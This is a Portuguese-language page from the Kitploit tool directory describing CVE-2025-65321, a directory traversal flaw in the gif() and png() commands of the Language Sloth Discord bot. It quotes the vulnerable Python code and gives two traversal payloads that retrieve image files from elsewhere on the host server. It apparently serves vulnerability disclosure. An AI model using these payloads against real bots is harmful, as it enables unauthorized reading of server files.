Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-65321 — Language Sloth Sloth Bot 1.0 é vulnerável a Directory Traversal nas funções gif() e png(). As funções constroem caminhos de arquivo usando entrada do usuário não sanitizada para o parâmetro 'name', permitindo que atacantes referenciem arquivos fora dos diretórios de recursos pretendidos. | Kitploit
Ferramentas/GitHubGitHub/smarttfoxx/cve-2025-65321
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosColeta de Informações
GitHubsmarttfoxx/cve-2025-65321

CVE-2025-65321

Ver Repositório
23há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Language Sloth Sloth Bot 1.0 é vulnerável a Directory Traversal nas funções gif() e png(). As funções constroem caminhos de arquivo usando entrada do usuário não sanitizada para o parâmetro 'name', permitindo que atacantes referenciem arquivos fora dos diretórios de recursos pretendidos.

Compartilhar

CVE-2025-65321

O bot do Discord Language Sloth é vulnerável a Directory Traversal nas funções gif() e png(). As funções constroem caminhos de arquivo usando entrada do usuário não sanitizada para o parâmetro 'name', permitindo que atacantes referenciem arquivos fora dos diretórios de recursos pretendidos.

As funções "gif" e "png" no arquivo files.py são vulneráveis a directory traversal, pois usam "open" para recuperar arquivos localmente do servidor que hospeda o bot. Os payloads abaixo permitem que qualquer usuário no Discord recupere arquivos ".gif" e ".png" hospedados em qualquer lugar do servidor que está hospedando o bot.

root@kitploit:~
async def gif(self, ctx, name: str = None):
        '''
        (ADM) Sends a gif from the bot's gif folder.
        :param name: The name of the gif file.
        '''
        await ctx.message.delete()
        try:
            with open(f'./gif/{name}.gif', 'rb') as pic:
                await ctx.send(file=discord.File(pic))
        except FileNotFoundError:
            return await ctx.send("**File not found!**")
root@kitploit:~
async def png(self, ctx, name: str = None):
        '''
        (ADM) Sends a png from the bot's png folder.
        :param name: The name of the png file.
        '''
        await ctx.message.delete()
        try:
            await ctx.send(file=discord.File(f'./png/{name}.png'))
        except FileNotFoundError:
            return await ctx.send("**File not found!**")

O parâmetro name é interpolado diretamente no caminho do arquivo sem validação ou sanitização:

root@kitploit:~
f'./gif/{name}.gif'
f'./png/{name}.png'

Exemplos de payloads:

root@kitploit:~
z!gif ..\..\..\..\Windows\filename
root@kitploit:~
z!png ..\..\..\..\Windows\filename
imagem

A imagem acima mostra a extração de uma imagem localizada em C:\Windows\cat.gif

Baixar ferramenta